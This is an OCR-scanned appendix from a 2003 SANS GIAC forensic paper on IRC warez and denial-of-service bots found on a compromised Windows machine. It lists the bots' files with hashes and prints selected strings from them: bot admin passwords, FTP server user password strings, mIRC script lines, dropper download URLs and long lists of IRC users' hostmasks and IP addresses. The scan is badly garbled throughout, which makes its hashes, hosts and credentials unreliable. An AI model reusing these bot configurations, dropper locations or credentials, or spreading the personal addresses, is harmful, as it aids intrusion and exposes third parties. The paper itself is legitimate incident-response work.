11: 21p | i bpar se. exe 710f 4a3dcf 9ead3e0419f 0487d9d02ea | rs\ ht nl Tour by Igor Nys Rat sou
04/ 21/ 2003 \'wi nnt \ Hel p\ Tou binary file, packed bot #6 - DTBOT
11: 21p m confi g. exe 07b950b5398338d6df d50db0d92ech25 | rs\ ht m Tour with UPX Rat sou
04/ 21/ 2003 \'wi nnt\ Hel p\ Tou bot #6 - DTBOT
11: 21p noo. dl | 89054dac16f f cdeb941b4e743c285d82 | rs\ ht m Tour binary file Rat sou
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Creation

Dat e File nane VD5 Pat h Fi | e Purpose Bot Guess
script to create
random ACL | nst ant
Messenger (AlM
userid and | aunch
04/ 21/ 2003 \wi nnt\ Hel p\ Tou | deni al of service bot #6 - DTBOT /
11: 21p nsccl . dl | 2682315d1dadf 3d2395beeb692081e6e | rs\ ht m Tour attacks Rat sou

04/ 21/ 2003
11: 21p

newuser . bat

adf 7595d43cabdf 677edd19250e29c4a

\'wi nnt \ Hel p\ Tou
rs\ ht nl Tour

batch script to
create and apply
W ndows security
settings tenplate
file and to renove
W ndows comon and
hi dden shares

bot #6 - DTBOT /
Rat sou

04/ 21/ 2003
11: 21p

nhtm . dl |

a010c818eef 9b81de34274b3f 3299ea3

\'wi nnt \ Hel p\ Tou
rs\ htm Tour

binary file,
wi th UPX

packed

bot #6 - DTBOT /
Rat sou

04/ 21/ 2003
11: 21p

ni cks. t xt

29df 5cef 781f 6104294c7d085d4f 64b4

\'wi nnt \ Hel p\ Tou
rs\ ht nl Tour

l'ist of nanes,

possi bly used as
random " ni cks"

(ni cknames) on I RC
channel s; file has
been edited and
customentries (many
wi th sexual

ref erences) have been
added to top of file

bot #6 - DTBOT /
Rat sou

04/ 21/ 2003
11: 21p

nvdrv. ocx

1le0a5e420554df e3ad25aab0e7f c386e

\'wi nnt \ Hel p\ Tou
rs\ ht m Tour

script to create
random AQL | nst ant
Messenger (AlM
userid and | aunch
deni al of service
at t acks

bot #6 - DTBOT /
Rat sou

04/ 21/ 2003
11: 21p

rat sou. exe

804157a7f 3167c2a0af bd34c380b189a

\'wi nnt\ Hel p\ Tou
rs\ ht m Tour

binary file;

ref erences vari ous
files (i.e. pizza.exe
- see above) which it
attenpts to downl oad
from specific URLs

bot #6 - DTBOT /
Rat sou
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Creation

Dat e File nane VD5 Pat h Fi | e Purpose Bot Guess
script used to access
W ndows registry and
| ook for valid
product I1Ds / license
keys for W ndows,
04/ 21/ 2003 \'wi nnt \ Hel p\ Tou M crosoft Ofice, and | bot #6 - DTBOT
11: 21p reg. xpl f27cc05632509296d3f 1€86b65314198 | r s\ ht m Tour the Hal f-Life ganme Rat sou
configuration file
defining multiple
04/ 21/ 2003 \wi nnt\ Hel p\ Tou | variabl es and bot #6 - DTBOT
11: 21p renote.ini abb48f 3d62e4c3e93143d3f b3d6b403b | rs\ ht m Tour referenci ng "DTBOT" Rat sou

04/ 21/ 2003

\'wi nnt \ Hel p\ Tou

binary file (Borland
C++), KIGOsK
managenent utility by
Rasnus Vuori, used to

bot #6 - DTBOT

11: 21p restart. exe a53956f abcec5076e48820c¢12663c306 | rs\ ht m Tour reboot W ndows Rat sou
04/ 21/ 2003 \'wi nnt\ Hel p\ Tou bot #6 - DTBOT
11: 21p scriptl.dll 503629708ea0bd6ddb3a8b720719e480 | rs\ ht m Tour I RC scri pt Rat sou

I RC script for

vari ous purposes,
04/ 21/ 2003 \'wi nnt\ Hel p\ Tou ref erences nunerous bot #6 - DTBOT
11: 21p spi g. txt 4649a7799c503cc9ed3413al177¢c48029 | rs\ htm Tour channel s Rat sou
04/ 21/ 2003 \'wi nnt\ Hel p\ Tou bot #6 - DTBOT
11: 21p sysboot . dl | aef f 012079e32f 6710b67e7accf b40de | rs\ ht m Tour I RC scri pt Rat sou
04/ 21/ 2003 \'wi nnt\ Hel p\ Tou bot #6 - DTBOT
11: 21p syste32.dl | f 93e559a0044566c19a2374705e0f 630 | rs\ ht m Tour I RC scri pt Rat sou
04/ 21/ 2003 \'wi nnt \ Hel p\ Tou I RC configuration bot #6 - DTBOT
11: 21p wi nd. dl | 3f 94c16bf 86ca28722863ec7c29c2aa9 | rs\ htm Tour file Rat sou
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Appendix E — Selected strings output from maliciousfiles

Bot #1 — BlackM arket / Ultimate 3Dwar ez?

Install / infection date: 11/19/2002 3:56 PM

IRC ServergChannedls:

© SANS Institute 2003, As part of GIAC practical repository.

irc.orbitalfire.net 6667

titaniumortibal fire.net 6667
plutoniumorbitalfire. net 6667
magnesi umorbital fire. net 6667
nobeliumorbital fire. net 6667

caen. fr.eu.undernet.org 6667
haar|l em nl . eu. undernet. org 6667
surrey. uk. eu. undernet. org 6667
ncl ean. va. us. under net . org 6667
sandi ego. ca. us. undernet. org 6667
st ockhol m se. eu. undernet. org 6667
anst erdam nl . eu. undernet.org 6667

irc.mrcx.com 6667

i rc. phant asy. com 6665 6666 6667
i rc. eskinb.com 6665 6666 6667
newnet . onl i ne. be 6665 6666 6667
irc.mndinfo.net 6665 6666 6667
irc.aohell.org 6665 6666 6667

i rc.dividedspace.com 6665 6666 6667
irc.newnet.net 6665 6666 6667
stats. superior-web. net 6667
atom c. enforcerz. net 6667
irc.atom cchat.net 6667

i rc.ani mextacy.net 6667

i rc.aut obotnati on. com 6667
irc.dark-inferno.net 6667
irc.tv-eps.net 6667

#BMXDCC

#Bl ackMar ket
#BLACKNMARKET

#Fri ends
#THEROOM

#ULTI MATE~-3DWAREZ
#WAREZ- GALORE
#WGE FXP
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«  #WG XDCC
Selected st ri ngs output:

 Frombm dl | (edited):
#U ti mat e~3Dwar ez
user _ni ck TR-ski npy
| ogi nnanme U3DCC
Brought to you by #U ti nat e~3Dwar ez
server irc.orbitalfire.net 6667
server titaniumortibalfire.net 6667
server plutoniumorbitalfire. net 6667
server magnesiumorbitalfire. net 6667
server nobeliumorbitalfire.net 6667
channel #Friends
user _real name [U3D] U timate-3dWarez [ U3D]
adm npass QF xQAgul r 80rw
adm nhost *!~*@
adm nhost *!*@
adm nhost *!*@. *

* Fromserv-u.ini (edited):
Regi strati onKey=hsCQbxDr f oM WWakkO
Port Nr=5789
[ USER=u3dw]
Passwor d=ungBPGQoC/ adA
[ USER=phy]
Passwor d=cnf anmQdBkg58A
[ USER=yaz]
Passwor d=wnCZ6hUF26qdA

* Fromwg. conf (edited):
#Bl ackMar ket
user _ni ck BM XDCC90
| ogi nname BMXCC
creditline
- =BMe-

#Bl ackMar ket All your user are belong to us..

- =BMe-
server caen.fr.eu.undernet.org 6667
server haarlemnl.eu.undernet.org 6667
server surrey. uk.eu.undernet.org 6667
server ntlean.va. us.undernet.org 6667
server sandi ego. ca. us. undernet.org 6667
server stockhol m se. eu. undernet.org 6667
server ansterdam nl. eu.undernet.org 6667
channel #BMXDCC
channel #Bl ackMar ket
user _real nanme [ BM Bl ackMarket [BM
adm npass 9W bi yUrBbvOk
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adm nhost *! ~*@
adm nhost *!*@
adm nhost *!*@.~*

* Froml dcd. dl |, anIRC log file covering dates from 27 October 2002 through 13
January 2003 (edited):

Server names,

anmst erdam nl . eu. undernet. org 6667
irc.mrcx.com 6667

i rc. phant asy. com 6665 6666 6667
irc.eskinb.com 6665 6666 6667
newnet . onl i ne. be 6665 6666 6667
irc.mndi nfo.net 6665 6666 6667
irc.aohell.org 6665 6666 6667

i rc.dividedspace.com 6665 6666 6667
irc.newnet.net 6665 6666 6667
stats. superior-web. net 6667

atom c. enforcerz. net 6667
irc.atom cchat.net 6667

i rc.ani mextacy.net 6667

i rc. aut obot nati on. com 6667

i rc.dark-i nferno. net 6667
irc.tv-eps.net 6667

Channd names:
#BLACKMARKET
#BMXDCC

#THEROCOM

#ULTI MATE~3DWAREZ

Userids/ addresses:

CERBUS! ~CERBU@CERBU. USERS. UNDERNET. ORG

TALONZZ! PRNYBK@11. 217. 207. 217

CUTECHK! CUTI EPI E@CPE013419900562. CPE. NET. CABLE. ROGERS. COV
OMER_J! YOURNI CK@VODEMCABLEQ22. 217- 203- 24. QUE. MC. VI DEOTRON. CA
FREDOOL! USER@BGMW 24- 24- 81-247. STNY. RR. COM

CYCLOPSE! ~STEVE@209. 240. 68. 74

DUFFMAN!I ~KASHHIFI @4. 114. 246. 233

B _MONEY! W NNT@A\CA5CALD. | PT. AOL. COM

POTATO141! POTATOL413@PC1- CONC1- 3- CUST128. REN. CABLE. NTL. COM
DANYFALCO DAM@E176. DHCP212- 198- 47. NOCS. FR

TEXASGUYY! TEXGUY@CRTNTX1- AR6- 4- 64- 080- 022. CRTNTX1. DSL- VERI ZON. NET
TNVD- FI REF! NONE@\NI F2407Y49FH. BC. HSI A. TELUS. NET

JAM E J! JAM E J@A\DSL- 81- 167- 206. ASM BELLSOUTH. NET

ZEROTRACE! KASHHIFJ@12. 44. 223. 54

PAT- YOUNG ~DUAL @UAL SHOCKX. USERS. UNDERNET. ORG

MCFLYY! ~MCFLYY@H174. 170. 40. 162. | P. ALLTEL. NET

KEVPA! KEVPA@16. 129. 33. 71

SCHCEPS4V! SCHOEPS4V@A\CASEAAOD. | PT. AOL. COM
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FGH DSA@’DOE3091B. DI P. T- DI ALI N. NET

TURBO- NET! AM T@CBL60- LNS- P30. CBL. NETVI SI ON. NET. | L

ALEXLI GHT! KASHHIFJ @VRTWAL- AR8- 111- 190. EVRTWAL. DSL- VERI ZON. NET
SENSE! _TX - SENSE@16. 201. 74. 241

TARDO5345! ~ROVBOAST1@5777742. KABEL. TELENET. BE
CANADABOY! ~ALEX@CANADABOY. USERS. UNDERNET. ORG

W - TERROR! ~TERRORDEMG@GNYCIVNY1- AR1- 4- 43- 255-

115. NYCMNY1. ELNK. DSL. GENUI TY. NET

H3LLCHI LD! DEVI LZ3@ADSL- 66. 110. 162- 8. GLOBETROTTER. NET
NEOL59! W RC@DOE217EA. DI P. T- DI ALI N. NET

PSYKCO ~PSYKCO@L32- 54- 189- 66. WO. CPE. CHARTER- NE. COM

TRI PLEH! JVI WaBGP531994BGS. EBRNSW 1. NJ. COMCAST. NET

DETEE! TEE@CP295306- A. SCHOOL. LB. HOVE. NL

ANTI O ANTI O@H24- 83- 173- 70. VF. SHAWCABLE. NET

HDHDHHDHD! TEE@CP295306- A. SCHOOL. LB. HOVE. NL

SCHOEPS4V! SCHOEPSAV@ACASEAAOQ. | PT. ACL. COM

SWEETMEAT! NI TE@LCUST16. TNT1. LENI OR. NC. DA. UU. NET

DUAL SHOCK! ~DUAL @DUAL SHOCKX. USERS. UNDERNET. ORG

SAYOO SAYOO@BAK- 66- 75- 208- 64. BAK. RR. COM

THESI CKER! KASHHIFJ @6. 65. 41. 253

BULL88! ~W51@ P68- 96- 227- 34. LV. LV. COX. NET

MRPSYCHOM Pl RC@1. 26. 100. 130

VKBOY! ~SI MONTURN@DSL- 203- 113- 233- 54. VI C. NETSPACE. NET. AU
J- Kl DD! ~HOTSPOT @+ 66- 167- 249- 104. CVBRVAOR. COVAD. NET

Kl SSY! KI SSY@4. 31. 148. 52

LORCAN'! LORCAN_@.ORCAN. USERS. UNDERNET. ORG

PAT- YOUNG ~DUAL @DUAL SHOCKX. USERS. UNDERNET. ORG

VHI STLEBE! WHI STLEBEA@L2- 224- 183- 190. CLI ENT. ATTBI . COM
TOK3SALOT! TOK3SALOT@\ENT. HOVE. W TH. 2. SEXY. WOMVEN. LAST. NI GHT. UNF. UN
F. WDOOT. ORG

DAMNI TSFA!I ~CRP@KY- Rl CHMOND1B- 130. RHVDKY. ADELPHI A. NET
PROKAT! KASHHIFJ @\CA9E7B4. | PT. ACL. COM

PAT- YOUNG ~DUAL @DUAL SHOCKX. USERS. UNDERNET. ORG

DAMNI TVANI DAMNI TMAN@DHCP- 150- 196. RESNET. UA. EDU

" LUCKY" | DROPEED@/ODEMCABLE151. 147- 200- 24. MIL. MC. VI DEOCTRON. CA
GRECEE! K@YR- 66- 67- 120- 153. TWCNY. RR. COM

XSC! XSC@ZOOKEVI LLE- 24-158-167-43. M DTN. CHARTERTN. NET
RSYJRYHRY! RSYJRYHRYN@PDO58CEE4. DI P. T- DI ALI N. NET

SEAN- | SEAN_@PC1- LI CH2- 3- CUST20. Bl R. CABLE. NTL. COM
C_FLAMES! ~NO LI M TZ@8- 20- 177-69. DSL. CHCG L. AVERI TECH. NET
SEAHAVK29! ~SWFAN29 @O0L54- 153. PRATT. EDU

KARVAKACK! ~KARVAKACK@ORT- 212- 202- 202- 154. REVERSE. QDSL- HOVE. DE
HOOKEDOND! ~TEST@POOL- 151- 203- 9- 193. BOS. EAST. VERI ZON. NET
SEAN- | SEAN_@PC1- LI CH2- 3- CUST20. Bl R. CABLE. NTL. COM
KLAASATHO KLAASATHOM@CC72586- B. ENSCHL. OV. HOVE. NL

_] OSH! CONEXI LE@?308- TNT2. MEL. | HUG COM AU

VALDERI CO VALDERI CO@l4. 173- 136-217. ADSL. SKYNET. BE
BWTOYS! DESI ZEUS@L2- 251- 176- 10. CLI ENT. ATTBI . COM

JA| { E! JAKE@04. 116. 150. 194

_SPLI T_! FUCK@PPP22- 240. LI NO. SYMPATI CO. CA

NEOL59! W RC@5084B632. DI P. T- DI ALI N. NET

| DANI S6! BOVB@2. 90. 189. 155
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VALDERI CO VALDERI CO@32. 102- 136- 217. ADSL. SKYNET. BE
OCEANMEEN! OCEAN@PC- 62- 30- 252- 52- RO. BLUEYONDER. CO. UK
SUPERMO ! ~GRUE@/ODEMCABLEO39. 127- 200- 24. QUE. MC. VI DEOTRON. CA
GREYS! BRI CK@ P- PA- JTOMN- 24- 159- 139- 021. CHARTERPA. COM
CERBUS! ~CERBU@CERBU. USERS. UNDERNET. ORG

TALONZZ! PRNYBK@11. 217. 207. 217

CUTECHK! CUTI EPI E@CPE013419900562. CPE. NET. CABLE. ROGERS. COM
OVER_J! YOURNI CK@VODEMCABLEO22. 217- 203- 24. QUE. MC. VI DEOTRON. CA
FREDOOL! USER@GM 24- 24- 81- 247. STNY. RR. COM

CYCLOPSE! ~STEVE@09. 240. 68. 74

DUFFVAN!I ~KASHHIFJ @4. 114. 246. 233

B_MONEY! W NNT@ACASCA1D. | PT. AOL. COM

POTATO141! POTATO1413@°C1- CONC1- 3- CUST128. REN. CABLE. NTL. COM
SEAHAVK29! ~SWFAN29 @O0L54- 153. PRATT. EDU

DANYFALCO DAM@EL176. DHCP212- 198- 47. NOCS. FR

TEXASCUYY! TEXGUY@CRTNTX1- AR6- 4- 64- 080- 022. CRTNTX1. DSL- VERI ZON. NET
TMVD- FI REF! NONE@ANI F2407Y49FH. BC. HSI A. TELUS. NET

JAM E_J! JAM E_J@ADSL- 81- 167- 206. ASM BELLSOUTH. NET
ZEROTRACE! KASHHIFJ@L2. 44. 223. 54

PAT- YOUNG ~DUAL @DUAL SHOCKX. USERS. UNDERNET. ORG

MCFLYY! ~MCFLYY@H174. 170. 40. 162. | P. ALLTEL. NET

KEVPAl KEVPA@16. 129. 33. 71

SCHOEPS4V! SCHOEPSAV@ACASEAAOQ. | PT. AQL. COM

FGH DSA@’DOE3091B. DI P. T- DI ALI N. NET

TURBO- NET! AM T@CBL60- LNS- P30. CBL. NETVI SI ON. NET. | L

ALEXLI GHT! KASHHIFJ @EVRTWAL- AR8- 111- 190. EVRTWAL. DSL- VERI ZON. NET
SENSE! _ TX - SENSE@16. 201. 74. 241

TARDO5345! ~ROVBOAST1@5777742. KABEL. TELENET. BE

CANADABOY! ~ALEX@CANADABOY. USERS. UNDERNET. ORG

W - TERROR! ~TERRORDEMG@GNYCIWNY1- AR1- 4- 43- 255-

115. NYCMNY1. ELNK. DSL. GENUI TY. NET

H3LLCHI LD! DEVI LZ3@ADSL- 66. 110. 162- 8. GLOBETROTTER. NET
NEOL59! W RC@DOE217EA. DI P. T- DI ALI N. NET

PSYKCO ~PSYKCO@L32- 54- 189- 66. WO. CPE. CHARTER- NE. COM

TRI PLEH! JVI W@BGP531994BGS. EBRNSW) 1. NJ. COMCAST. NET

DETEE! TEE@CP295306- A. SCHOOL. LB. HOVE. NL

ANTI O ANTI O@H24- 83- 173- 70. VF. SHAWCABLE. NET

HDHDHHDHD! TEE@CP295306- A. SCHOOL. LB. HOVE. NL

SCHCEPS4V! SCHOEPS4V@ACASEAAQ. | PT. ACL. COM

SVEETMEAT! NI TE@LCUST16. TNT1. LENI OR. NC. DA. UU. NET

DUAL SHOCK! ~DUAL @DUAL SHOCKX. USERS. UNDERNET. ORG

SAYOO SAYOO@BAK- 66- 75- 208- 64. BAK. RR. COM

THESI CKER! KASHHIFJ @6. 65. 41. 253

BULL88! ~WS1@ P68- 96- 227- 34. LV. LV. COX. NET

MRPSYCHOM Pl RC@1. 26. 100. 130

VKBOY! ~SI MONTURN@DSL- 203- 113- 233- 54. VI C. NETSPACE. NET. AU

J- Kl DD! ~HOTSPOT@H 66- 167- 249- 104. CVMBRVAOR. COVAD. NET

Kl SSY! KI SSY@4. 31. 148. 52

LORCAN'! LORCAN_ @ ORCAN. USERS. UNDERNET. ORG

PAT- YOUNG ~DUAL @DUAL SHOCKX. USERS. UNDERNET. ORG

VH STLEBE! WHI STLEBEA@L2- 224- 183- 190. CLI ENT. ATTBI . COM
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TOK3SALOT! TOK3SALOT@\ENT. HOVE. W TH. 2. SEXY. WOMVEN. LAST. NI GHT. UNF. UN
F. WO0O0T. ORG

DAMNI TSFA!I ~CRP@KY- Rl CHMOND1B- 130. RHVDKY. ADELPHI A. NET

PROKAT! KASHHIFJ @\CA9E7B4. | PT. ACL. COM

PAT- YOUNG ~DUAL @DUAL SHOCKX. USERS. UNDERNET. ORG

DAMNI TVANI DAMNI TMAN@DHCP- 150- 196. RESNET. UA. EDU

" LUCKY" | DROPEED@/ODEMCABLE151. 147- 200- 24. MIL. MC. VI DEOCTRON. CA
GRECEE! K@YR- 66- 67- 120- 153. TWCNY. RR. COM

XSC! XSC@COOKEVI LLE- 24-158-167- 43. M DTN. CHARTERTN. NET
RSYJRYHRY! RSYJRYHRYN@PDO58CEE4. DI P. T- DI ALI N. NET

SEAN- ! SEAN_@PC1- LI CH2- 3- CUST20. Bl R. CABLE. NTL. COM

MANI AC1! MANI ACL@N\C94DAFA. | PT. ACL. COM

...and more.

Bot #2 - FiRM

Install / infection date: 2/6/2003 5:37 PM

Servers/Channels:
e 64.202.103. 134 6668 (resolvestodi sconnect ed. because. tel stra-
sucks. com— Server Central Network, Chicago IL)
* 64.202.103.9 6668 (resolvestoel i t e. boxr oot . net —Server Central Network,

Chicago IL)
e 157.238.90. 252 6668 (does not resolve / non-existent domain — Verio, Inglewood,
CO)

o #firm warez
Selected st ri ngs output:

* Fromrntcf g. cf g (edited):
user _nick Fi RM MJ146
user _real name FIRM r0Ox1nG yQu f uXxx!
Logi nname r 0xO0r zj Oo
server 64.202.103. 134 6668
server 64.202.103.9. 6668
server 157.238.90. 252 6668
channel #firmn warez
creditline **ORi G NAL Fi RM BACK i N ACTI ON**
#periodi cneg sonefucker 10 indexne
admi npass t Cgsa7n7z. Uu.
adm nhost *!*@

Bot #3 — BloodL ab / microbots

Install / infection date: 2/25/2003, 9:55 PM

© SANS Institute 2003, As part of GIAC practical repository. Author retains full rights.



Servers/Channels:
i rc.uni xphr34kz. com(resolvesto 66. 197. 241. 28 as of 7/1/03 (Nocster, Scranton PA)

/ channel ##mi cro-sd / m crobots

hel | 2. server box. or g: 6667 (resolvesto 220. 90. 4. 57 as of 7/1/03 noon (Korea
Telecom); 216. 171. 68. 3 asof 7/1/2003 @ 1646 (Ultraspeed / UK), 1. 3. 3. 7 as of

7/2/2003 @ 1453 (IANA reserved)) / channel ##mi cr o- bl

Selected st ri ngs output:

Thisfile appears to be along list of hacker handles or possibly mIRC nicks:

© SANS Institute 2003,

From bl . vxd (edited):

i rc.uni xphr34kz. com
##m cr o- sd

m crobots

chOw bOt s

From ncl ass. vxd (edited):

hel | 2. serverbox. org: 6667
##m cr o- bl

m crobot s

From nqui ck. vxd (edited):
ONTSer ver Chan #! &&! scan

Fromnseri es. vxd (edited):
; Coded by C0de- Red
Bl oodLab

Fromnt el . vxd (edited):

pl as_
gooddoer
Filtafish
Prem um
That GuyDude
Phuser
Raven2k
Sheryl _D
TruThug
WUHUPH
ChanServ
Wést

Et heris

" PandOr A’
hazzer
FadeJade
Hat ch’

/ m crobots
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sof i a25

i SCS- Dani el
sudo

sonecut eBCqgi r |
HuThr owPu

j ockl7
Luke333

dj enkna

ki ckbxr
aGuy”~18

t vdi nner

Zug

Nat hani el
SexyCooki e
Oral _Fixation
Super GayHono
sweetie2l

Li | Bi t OF Sweet
C4car bi ne

Ri che”SanboRA
Dar kRosa

pi zza- e. ca. us. dal . net
magi ¢
BaLuRdO

zehl

hot 69
Securitas
Lust4Life
dol fin

sol

TheVi xen
Phuser 2

r oodswi ng
dead[ butt er]
t 69
carpal [ out]
turbo311l

_Ai LeeN_
andddi i

Pal adi nette
Dani el - 2222
\\es
FadeJade_
Fant abul ous
nmonopol i

Vi XXy

BCf unCuy
riri
energgi zer
GLLANG
anuger ah
zher oo
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levis-girl_jkt-bo
nadi
cO0_ganaz
juli3

Vi xy

Kri styl nChai ns
shazam
mukko[ M ck]
ronbomnb

Sti CKyl cKy
ERI CA 2002
Nullity
rob21
jcarle

LoSi NgSt ReAk
absol ut -
Reddogs
Allyia
LeTi TSl i De
Ki mree
fudhnve

A MTOr Tal”
kittenkitkat
Accol on

nuso

f oxxy

SHaKi Ra_22
Cokegur |
reversal
Super GayHono[ away]
Geof f _k

ace 22
Canadi an_Quy/ ™"
kitty1981

f ukeneh

Jer ssssy

Kni ght Ri der
Ni t enei ster
Wse2l

m cheal -

W se_Soul
DeVi LAcHi Ld
Razor ed

zor ba

great| ake

Fi | nfreak
BC ScooteR 21
mybi rt hday
DungPow
ncgyus

I nquest
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Repec

Sesuat u*YG*hi | ang
Mar kR

j ani ca
Doni nat i ngBul
Al ei nGal

Pet er TheG eat
Y1UByF5

j _ade

~M ke_Can

st angr aci ng
Sol e4Sal e

ocl usc
OMette

[ QUTCAST]
Chris-m17
usef ul i di ot [ not _here]
shat cunt
BLEEMER

Pet er TheG eat | sDr unk
Clcar bi ne

T| GERGUY
littl ebum nt hefront
FarN ent e
GDJEG-C

over _one
Stunty
bel i evermre
gundal a____
sonul8
devi | boy

| ordz][ a]

Zer o_Runner
Psi Chi Ck

dar kmage77
St evee Dee
Joedu

Mozai ¢

Ni nj aBEwok

j ohnny_wO0
HvVQOT

Ai neee

Cassi

nrat NN

fiber-

j tgoka
Bunfl uf f
EdgeWze
BBoyZ

G abeNaEt u

t ot al CACS
slik_m
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_SuPeR fLy_
Adyl et zu
evi epurr
esvbnp
Myst er yBoy
vtiern

Ski pRadi o
Andr ea_
Just _Anot her _Quy
she-ra’
Snmoove’
dshado23
J3T
sheakes
sobat “*rmama
rprznt
Mat ri X

Tai noooor
Mouse

Wkl n2

Shi z0
ashok1l

pi nky33
Dope_

Vi si ons-
panosi a
DeadRoni
baggi es

ni ghtrod
gwer t

ski nquake
PhunkyVi be
virt_out
brandy
Y2D-
killahgirl
rol xgw
Robert 39
ashl eyanna
Li za_Mari e
shgud

NI ckArn
Dr-Hel p
Shamanz Ghost
Bar c

relic
conmppi np
Al On3" SmAsH
Bar ccy
DearWorl d
sl ushey
Bar car di
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i eat rocks
martinn
HoneylLenonPi e
Ron_UsA
Chi | axi n
RaBs"OnE

vi rgi nsui ci deband
Cet Fragged
restricted

VI NCENT_TAN
BA
Sweet - Cat hy
icnp
QIPTPIWNS
kel | ee

phat man

Net WAt ch
deadi

Arne

deado
deado[ a]
charm e

poopl ocop

rai ndawg”

| amBaKeD

i cnp-

Bl ack- W dow-
Hank000008
AchEst A21m
Super GayAl | ah2
Labibitte
marti nn[ aj
Weat her 88
PuFFs
BillIMIler

W kkesh

M k

hoodst a
ghost

bat gur|

a k s

MTBUNK

al ex

Guest 86069
D3vi |
BeeDoubl eYou
psi [ sl eepi ng]
\\'es|Z2zzzzzzz222222222222222z2
| Butt eR]

" PandOr A’ sor eshoul der s- sl eepi n
/\/\G | ZZ/\/\

dai zychai n
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PhuxOr
Eddo
Naki t a4
Aur or a

i SCelLi TE
fiber
ownsya

e From pxy. vxd (mailbomb denial of servicetool; edited)):
Bl oodLab 4.0 Ownz You Fucker

Bot #4 — TiGeR

Install / infection date: 3/10/2003, 12:08 PM

Server/Channdls:
e jrc.co.il #XdCc

 anmitush.no-ip.com 6667 #anit (non-existent domain)

* kaktos. nmine. nu: 7008(resolvesto 80. 179. 93. 119 asof 7/2/03 @ 1400 — Golden Lines

International Communication Services, Isragl)
e 1. hone. godspeopl e. power dns. org (non-existent domain)
* norty. mne. nu (currently resolvesto 10. 0. 1. 128 — non-routabl e address)

Selected st ri ngs output:

» Fromaliases.ini (edited):
Brought To u By %Xteam
adm npass %Xpass
adm nhost amt!*@
adm nhost " Ti GeRM\ ! * @

* Fromnybot . t xt (edited):
server irc.co.il 6667
channel #XdCc
| ogi nname XdCcz XdccZ.
For you by #XDccz
adm npass ODNRsgODAbyPc
adm nhost *@M stick
adm nhost *@vasti ck

* Frompirc.ini (edited):
ni ck=chandr anf ar had
host =ani t ush. no-i p. conSERVER: ani t ush. no-i p. com 6667
user=itw
n0=% #amnit
n2=%® gt SE (repeated nultiple tines)
n5=%1 am tush. no-i p.com 6667
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n6=%2 am tush. no-i p. com 6667
n7=%3 kaktos. m ne. nu: 7008

* Fromservudaenon. i ni (edited):
Local Set upPasswor d=45244E5D5D024857420D585F
Local Set upPort No=5555
Domai n1=0. 0. 0. 0] | 1234| Ti GeR| 1| 0
Repl yHel | o=\l com to *"Ti GeR* PubStro!!
Repl ySYST=""Ti GeR*"
[ USER=anmi t | 1]
Passwor d=ci C6B7B0C2C6C490A18213CD422C1C68C9
[ USER=1]| 1]
Passwor d=bi EF6927B9EB9A504904BB60C91D58E9DB

Bot #5 — NFOrce/ FrozeNet

Install / infection date: 3/19/2003 10:27AM

Servers/Channels:

irc.frozenet. net (resolvesto 195. 117. 173. 32 asof 7/1/2003 @ 1738 - Firma Uslugowa
"KASIA", Poland (? - PL))

#NFOr ce

#vhost

Selected st ri ngs output:

e Frommirc.ini (edited):
user =NFOrce Entertai nnent
emai | =NFOr ce@FOr ce. nl
ni ck=NFOr ce
ani ck=[ " V']
host=lIrc. FrozeNet. Net SERVER: | rc. FrozeNet . Net : 6667
[ nicklist]
#NFORCE=ri ght , 84
#War eZone=ri ght, 159
#i srael =right, 112
#W - Hacks=ri ght, 134
[ dceni cks]
no=0Q(r}
nl=rex
n2=ReZ0r

» Fromrenote.ini (edited):
[users]
no=tt: Audi _TT

* Fromscript9.ini (edited):
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n0=on *:connect: if ($network == efnet) { nick ["V'] | join #NFO ce
}

n2=on tt:text: @egi ster: #NFOrce: { nsg Ni ckServ regi ster 1224736
NFOr ce@NFOrce. NL }

NFOrce EggDrop Bot By Audi _TT (Version 1.4)

* Fromscript10.i ni (edited):
n0=on *:join:#NFOrce: if ($network == FrozeNet) { node #NFOrce +v
$ni ck }

» Fromscriptl1l.ini (edited):
n0=on *:start:{ s Irc.FrozeNet.Net | s —m 195.238.0.15 }
n2=on *:text:*:#:{ if ($nick == NFOrce) && ($network == efnet) &&
($chan !'= #vhost) { /scid 1 /ansg $1- } }

Bot #6 - DTBOT

Install / infection date: 4/21/2003 11:20 PM

Servers/Channels:

* o0sl 0. no. eu. under net . or g (non-existent domain as of 7/1/03)

* nesa. az. us.undernet.org (64. 62. 96. 42 asof 7/1/03)

* nctlean.va. us. undernet. org (aliased asus. under net . or g, IPsof 209. 221. 59. 11,
216.152.77. 10,64. 62. 96. 42,64. 235. 234. 200, 64. 237. 38. 100, 194. 134. 5. 82,
199. 184. 165. 133, 205. 188. 149. 12)

* geneva. ch. eu. undernet. org (193. 110. 95. 1 asof 7/1/03)

* dienen.nl.eu. undernet.org (195.121. 6. 196 asof 7/1/03)

Selected st ri ngs output:

* From Al m RC. i ni (edited):
Current User =l nirc24989

* Fromni cks. t xt (edited):
Appearsto be alist of usernames, chat nicknames (nicks), and/or search terms, including
sexua references, movie references, and peoples first names
shaved
hust | er
har dcor e
net scape
doubl e
harl ots
hooker s
coupl es
dri ppi ng
vi brat or
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st udf uck
beaver
shaven

t ransexua
menber shi p
exxxtrenme
aar en
aari ka
abagael
abagai |
aar on

ab

abba
abbe
abbey
abbi e
abbot
abbot t
abby
abdel
abdul
abe

abel

abel ard
abeu
abey
abi e
abner
abr aham
abr ahan
abr am
abr ano
abr an

ad

adai r
adam

star wars
startrek
starwars
sttng

t hebi rds

t hegr eat escape
t heki ngandi

t hepr oducers
t hunder bal |

t hunder done
t hx1138
tootsie

tron

war games

W t ness
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* Fromr at sou. exe (dropper file/ dropper file download location?)
http://amat eur. f eegayspace. coml queer s/ pi zza. exe
http://dt. funurl.conl button. exe

* Fromrenote.ini (edited):
n0=%han #. dtgt5. 3.
n2=9%9xr oom #. dt gt 2.
n3=%m nXchan #. dtgt5. 3.
n6=%refix [|33t]
n9=% dentd DTBOT
nl12=% | chan #gt
n13=% | ni ck #gt
nl18=%pr oxy. port 31337
n33=%1join #d
n34=% | part #net bi os
n35=% | udvi ct ##"poop”.
n100=%sckrd : powertech. no. eu. dal.net 421 * N CKcorrie332238 : Unknown
conmand
n136=%m rr| 303ksgj pn@exmai | . com
n165=% gt 53. hone. godspeopl e. power dns. or g: 6667
nl71=%gsl PGread : Di enen. NL. EU. Undernet . org 352 gray752q #chi may
Daymarvi Daymarvi.users.undernet.org *.undernet.org Daymarvi Hx :3
daymar vi
nl173=%6l PG 1 216-119-004-001. | ps. net
nl74=%gl PG 2 its.tinme.to.get.blowob.org.il
nl75=%gl PG 3 p5087D3D6. di p.t-di alin. net
nl176=%sl PG 4 i pd50ab032. speed. pl anet . nl
